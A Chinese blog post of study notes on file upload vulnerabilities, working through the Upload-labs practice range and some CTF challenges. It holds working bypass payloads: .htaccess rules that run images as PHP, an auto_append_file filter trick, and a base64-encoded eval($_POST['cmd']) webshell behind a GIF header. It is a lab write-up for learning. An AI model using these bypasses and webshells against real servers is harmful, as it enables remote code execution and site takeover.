SSTI-Python

文件上传漏洞

  1. 主体部分的 Upload-labs 很早就写了,参考了当时的一些文章,后来很久没有接触后,发现有些知识点都忘得差不多了,因此有必要对这种专题类的靶场渗透进行总结,防止遗忘的同时也方便以后查询。

1. Upload-labs

1. Pass-1 (前端通过 js 验证图片)

  1. 前端验证的话,直接禁用 JavaScript 即可。
  2. 需要注意的是,在实际环境中,如果禁用 JavaScript,网站的某些功能事件可能无法使用,从而导致按钮等事件失效而无法上传文件。
  3. 因此针对以上情况,目前可行的方案就是(知道文件的上传路径):
    1. 先将网站的源代码 copy 下来
    2. 删除其中的 js 验证的部分
    3. 修改 <form> 标签中的 action 属性,改成被攻击网站的上传路径,这样就可以绕过前端验证将图片上传。

2. Pass-2(MIME 类型验证)

  1. 后端仅对 MIME 的类型进行验证,所以修改 MIME 的内容即可。

  2. 扩展名 文档类型 MIME 类型
    .aac AAC audio audio/aac
    .abw AbiWord document application/x-abiword
    .arc Archive document (multiple files embedded) application/x-freearc
    .avi AVI: Audio Video Interleave video/x-msvideo
    .azw Amazon Kindle eBook format application/vnd.amazon.ebook
    .bin Any kind of binary data application/octet-stream
    .bmp Windows OS/2 Bitmap Graphics image/bmp
    .bz BZip archive application/x-bzip
    .bz2 BZip2 archive application/x-bzip2
    .csh C-Shell script application/x-csh
    .css Cascading Style Sheets (CSS) text/css
    .csv Comma-separated values (CSV) text/csv
    .doc Microsoft Word application/msword
    .docx Microsoft Word (OpenXML) application/vnd.openxmlformats-officedocument.wordprocessingml.document
    .eot MS Embedded OpenType fonts application/vnd.ms-fontobject
    .epub Electronic publication (EPUB) application/epub+zip
    .gif Graphics Interchange Format (GIF) image/gif
    .htm.html HyperText Markup Language (HTML) text/html
    .ico Icon format image/vnd.microsoft.icon
    .ics iCalendar format text/calendar
    .jar Java Archive (JAR) application/java-archive
    .jpeg .jpg JPEG images image/jpeg
    .js JavaScript text/javascript
    .json JSON format application/json
    .jsonld JSON-LD format application/ld+json
    .mid .midi Musical Instrument Digital Interface (MIDI) audio/midi audio/x-midi
    .mjs JavaScript module text/javascript
    .mp3 MP3 audio audio/mpeg
    .mpeg MPEG Video video/mpeg
    .mpkg Apple Installer Package application/vnd.apple.installer+xml
    .odp OpenDocument presentation document application/vnd.oasis.opendocument.presentation
    .ods OpenDocument spreadsheet document application/vnd.oasis.opendocument.spreadsheet
    .odt OpenDocument text document application/vnd.oasis.opendocument.text
    .oga OGG audio audio/ogg
    .ogv OGG video video/ogg
    .ogx OGG application/ogg
    .otf OpenType font font/otf
    .png Portable Network Graphics image/png
    .pdf Adobe Portable Document Format (PDF) application/pdf
    .ppt Microsoft PowerPoint application/vnd.ms-powerpoint
    .pptx Microsoft PowerPoint (OpenXML) application/vnd.openxmlformats-officedocument.presentationml.presentation
    .rar RAR archive application/x-rar-compressed
    .rtf Rich Text Format (RTF) application/rtf
    .sh Bourne shell script application/x-sh
    .svg Scalable Vector Graphics (SVG) image/svg+xml
    .swf Small web format (SWF) or Adobe Flash document application/x-shockwave-flash
    .tar Tape Archive (TAR) application/x-tar
    .tif.tiff Tagged Image File Format (TIFF) image/tiff
    .ttf TrueType Font font/ttf
    .txt Text, (generally ASCII or ISO 8859-n) text/plain
    .vsd Microsoft Visio application/vnd.visio
    .wav Waveform Audio Format audio/wav
    .weba WEBM audio audio/webm
    .webm WEBM video video/webm
    .webp WEBP image image/webp
    .woff Web Open Font Format (WOFF) font/woff
    .woff2 Web Open Font Format (WOFF) font/woff2
    .xhtml XHTML application/xhtml+xml
    .xls Microsoft Excel application/vnd.ms-excel
    .xlsx Microsoft Excel (OpenXML) application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
    .xml XML application/xml 代码对普通用户来说不可读 (RFC 3023, section 3) text/xml 代码对普通用户来说可读 (RFC 3023, section 3)
    .xul XUL application/vnd.mozilla.xul+xml
    .zip ZIP archive application/zip
    .3gp 3GPP audio/video container video/3gpp audio/3gpp(若不含视频)
    .3g2 3GPP2 audio/video container video/3gpp2 audio/3gpp2(若不含视频)
    .7z 7-zip archive application/x-7z-compressed
  3. 因此用常见的 img/jpeg,image/png,image/gif 三者之一即可。

3. Pass-3(后缀的黑名单绕过)(有使用前提)

  1. 源码中,对 php,jsp,asp,aspx 四种类型进行了黑名单过滤。因此可以尝试使用别的后缀来绕过。例如针对 php,其常见的其他类型的后缀也当 php 执行的后缀为:

    phtml,phps,php5,pht。

  2. 需要注意的是,这些不常见的后缀,在默认情况下是不支持的,除非网站管理员在 http-conf 中启用这些后缀才行。

    AddType application/x-httped-php .php .php5 ...

4. Pass-4(.htaccess 配置文件)(有使用前提)

  1. 在 php 中,.htaccess 文件(或称之为“分布式配置文件”)提供了针对每个目录改变配置的方法,即在一个特定的目录中放置一个包含指令的文件,其中的指令作用于此目录以及其所有的子目录。

  2. 其正常的作用就是实现 URL 改写,让所有通过 URL 访问的人被 .htaccess 文件带到需要访问的位置。

  3. 使用前提:

    1. 在 apache 的配置文件中(http-conf),将 LoadModule rewrite_modules/mod_rewrite.so 取消注释,即开启 apache 的 rewrite 功能。
    2. 还要修改其中的 AllowOverride,改为 AllowOverride all
    3. 可以上传 .htaccess文件且名字没有被改变。
  4. 创建 .htaccess 文件,修改内容如下:

    1
    2
    3
    <FilesMatch "xxx.png">
    SetHandler application/x-httpd-php
    </FilesMatch>

    这样它就会把 xxx.png 文件当作 php 执行。

  5. 如果把 .htaccess 中的 xxx 去掉,那么它将会把所有的图片都当作 php 执行,这个需要慎用,因为它会妨碍网站业务逻辑的正常运行。

5. Pass-5(大小写绕过)

  1. 如果网站的采用黑名单过滤且没有强制转换大小写,那么可以使用大小写混合绕过。

6. Pass-6(添加尾部空格)

  1. 没有过滤尾部的空格,因此抓包,在文件的后面加上空格即可。

7. Pass-7(添加 ‘.’ 绕过)

  1. 除了更改后缀名,大小写绕过,添加尾部空格,这里就直接添加 ‘.’ 来绕过。
  2. PS:Linux 中,对于大小写,尾部空格和点都很可能会失效。

8. Pass-8(文件流绕过)

  1. 在使用 NTFS 文件系统的 windows 中,如果后缀带有 ::$DATA 时,他会将文件当作文件流进行处理,从而不检测文件后缀。
  2. 成功上传后,直接访问不带 ::$DATA 的路径即可。

9.Pass-10(过滤一次)

  1. 混合双写后缀名即可。

10. Pass-11(%00 截断)

  1. %00 在 ASCII 中表示的是空字符,然而在 URL 中,该字符被保留,当出现这个时认为读取结束。

  2. 使用前提:

    1. php 的版本要 < 5.3.4
    2. magic_quotes_gpc 要为关闭的状态
  3. 本题思路:

    1. 由于上传的路径可控,因此其路径可以改成:

      ../upload/xxx.php%00

    2. 上传图片马,否则无法通过文件验证。

11. Pass-12(Post 传输的 %00 截断)

  1. 由于上传的路径在 POST 体中,而 GET 请求会对 URL 进行一次 URL decode,但是 POST 不会,因此需要将 %00 先进行一次 URL decode 即可。(使用浏览器进行访问时,浏览器会对 URL 进行一次 URL 编码)

12. Pass-13(文件包含漏洞配合文件马)

  1. 文件包含漏洞将文件当作 PHP 文件执行,因此配合图片马就行。

13. Pass-14(文件头检测 getimagesize() 函数)

  1. getimagesize() 方法会对文件的前 8 个字节进行检测,判断是否为文件头。

  2. 打开 C32,在 php 文件头添加文件头,由于这题只检测前 8 个字节而不判断后缀,所以后缀直接为 php 即可。

  3. 或者直接传图片马,配合文件包含漏洞即可。

  4. 常见的文件头:

    类型 文件头 文件尾
    JPEG(jpg) FFD8FF FFD9
    PNG(png) 89504E47 AE426082
    GIF(gif) 47494638 003B

14. Pass-15(exif_imagetype() 方法检测文件头)

  1. 和上一个差不多

15. Pass-16(二次渲染绕过)

  1. https://xz.aliyun.com/t/2657#toc-12
  2. 待填坑

16. Pass-17(竞争上传)

  1. 后端逻辑是先将图片上传上去,上传成功后才开始判断后缀名、二次渲染等。如果在成功上传和判断之间访问了该文件,那么它就无法被改动(因为它正在被打开)
  2. 所以通过 burpsuite 的 intruder 模块,一边连续发送,一边连续访问,直到成功访问未知。

17. Pass-18(白名单的竞争上传)

  1. 因为有白名单,所以只能上传图片马,不过其上传后会对其二次渲染,所以必须要在其二次渲染前访问。

  2. 结合文件包含漏洞或者 php 解析漏洞。

  3. php 解析漏洞:https://blog.csdn.net/qq_32434307/article/details/79480316

    不过,本人在其目录下创建的 1.php.aaa 可以当成 php 来执行。

18. Pass-19(move_uploaded_file()

  1. move_uploaded_file() 将上传的文件移动到新的位置,但是该函数会忽略掉转后文件末尾的 /.
  2. 该题给了一个上传后文件的名字,因此将其更改为 xxx.php/. 即可

19. Pass-20(数组绕过验证)

  1. 没学过 PHP,参考:https://blog.csdn.net/weixin_47598409/article/details/115050869

2. LFI 结合图片马的变种

  1. 经典的 LFI 结合图片马一般是这样:

    1
    2
    3
    4
    5
    #define width 1337
    #define height 1337
    <FilesMatch "trojan.jpg">
    SetHandler application/x-httpd-php
    </FilesMatch>

    将某个固定的图片马直接解析成 PHP 文件。

  2. 但是如果对图片马的内容进行敏感词监测,那么此时图片马就会失效,这时就要考虑编码。

  3. 直接上新的 .htacces

    1
    2
    3
    4
    5
    6
    #define width 1337
    #define height 1337
    <FilesMatch "trojan.jpg">
    SetHandler application/x-httpd-php
    </FilesMatch>
    php_value auto_append_file "php://filter/convert.base64-decode/resource=图片马 URL"

    多加了一行,php_value auto_append_file 指定文件包含,这样将图片马中的内容进行 Base64 解码。
    所以可以直接传图片马:

    1
    2
    GIF89a66
    PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==

    头部后面添加 66 ,为了满足 Base64 4 位一解码,否则正文部分的编码不能正确解码。

  4. 例题:[SUCTF 2019]EasyWeb

3. .htaccess 文件使用

  1. 参考文档:

    Y4tacker 大佬的总结文章:https://blog.csdn.net/solitudi/article/details/116666720
    PHP 的配置文件 .user.ini 的配置选项:https://www.php.net/manual/zh/ini.list.php
    Apache httpd.conf 的核心指令文档:https://httpd.apache.org/docs/current/mod/core.html

  2. 主要的内容以 Y4tacker 大佬的总结文章为主,遇到具体类型题目的注意点时单独记录。

  3. 有关 .htaccess 文件的语法,一方面参考 Apache httpd.conf 的范围选择(Scope of Directives)和其核心指令;另一方面就是 PHP 的 ini 设置。有关 .user.ini.htaccess 的联系:

    https://www.php.net/manual/zh/configuration.file.per-user.php:
    PHP 支持基于每个目录的 INI 文件配置。此类文件 被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。

    https://www.php.net/manual/zh/configuration.changes.php:当使用 PHP 作为 Apache 模块时,也可以用 Apache 的配置文件(例如 httpd.conf)和 .htaccess 文件中的指令来修改 PHP 的配置设定。需要有“AllowOverride Options”或“AllowOverride All”权限才可以。
    有几个 Apache 指令可以使用户在 Apache 配置文件内部修改 PHP 的配置。哪些指令属于 INI_ALLINI_PERDIRINI_SYSTEM 中的哪一个,请参考附录中的 php.ini 配置选项列表

    也就是说,.htaccess.user.ini 都是可以使用的,如果过滤了 .htaccess,那么也可以试一试 .user.ini

3.1 .htaccess 将自身当作 PHP 文件执行

  1. Y4tacker 大佬的文章写明了 PoC。这里主要解释一下本人做题时的思考:
    当时在想为什么不能用 <FilesMatch> 来将 .htaccess 当成 PHP 来执行?Y4tacker 的 PoC 中,有两个关键的 PHP ini 参数:auto_prepend_fileauto_append_file。详见:

    https://www.php.net/manual/zh/ini.core.php#ini.auto-append-file
    auto_prepend_file:指定在主文件之前自动解析的文件名。included 该文件像是用 require 函数调用的一样,因此使用了 include_path
    auto_append_file:指定在主文件之后自动解析的文件名。included 该文件像是用 require 函数调用的一样,因此使用了 include_path

    也就是说,每次访问时其会将 .htaccess 文件包含过来并解析执行,而使用 <FilesMatch> 并不会执行(而且一般 .htaccess 文件是不可访问的)。

  2. 例题:[羊城杯2020]easyphp。这题还涉及到换行绕过,这里提一下。

  3. Apache 的配置文件语法中,\ 同样可以用于标签内部,例如题目过滤 File 关键字,可以使用:

    1
    2
    3
    4
    <Fil\
    esMatch>
    </Fil\
    esMatch>

    来绕过。本地环境试验过,可以成功。

4. 总结

2.1 验证位置不同

  1. 在前端检验就关闭 JS 或者 Burp 抓包绕过。

2.2 绕过

2.1 后缀绕过 - 黑名单

  1. 后缀别名
  2. 大小写(Linux 下未必)
  3. 尾部空格(Linux 下未必)
  4. 加个 .(Linux 下未必)
  5. 双写(针对只过滤一次的)
  6. .htaccess 或者 .user.ini

2.2 不同系统的绕过

  1. Windows 下可以使用文件流 ::$DATA

2.3 针对组件的绕过

  1. PHP 5.3.4 和 magic_quotes_gpc 关闭状态下的 %00 截断。

  2. Apache 低版本的解析漏洞。

    https://www.freebuf.com/articles/web/384959.html

  3. Nginx 的解析漏洞:

    https://www.freebuf.com/vuls/271542.html

2.4 文件马

  1. waf 判断字符有限,可以垃圾数据填充绕过(如果有文件头检测,别忘了添加)。
  2. 二次渲染。
  3. 竞争上传。

2.5 奇淫技巧(偏向 CTF)

  1. 针对 move_uploaded_file() 逻辑绕过。
  2. .htaccess 将自身当作 PHP 文件执行。

SSTI-Python
https://endlessshw.top/Network_Security/Web/Upload_WebShell/文件上传漏洞/
作者
EndlessShw
发布于
2024年11月26日
许可协议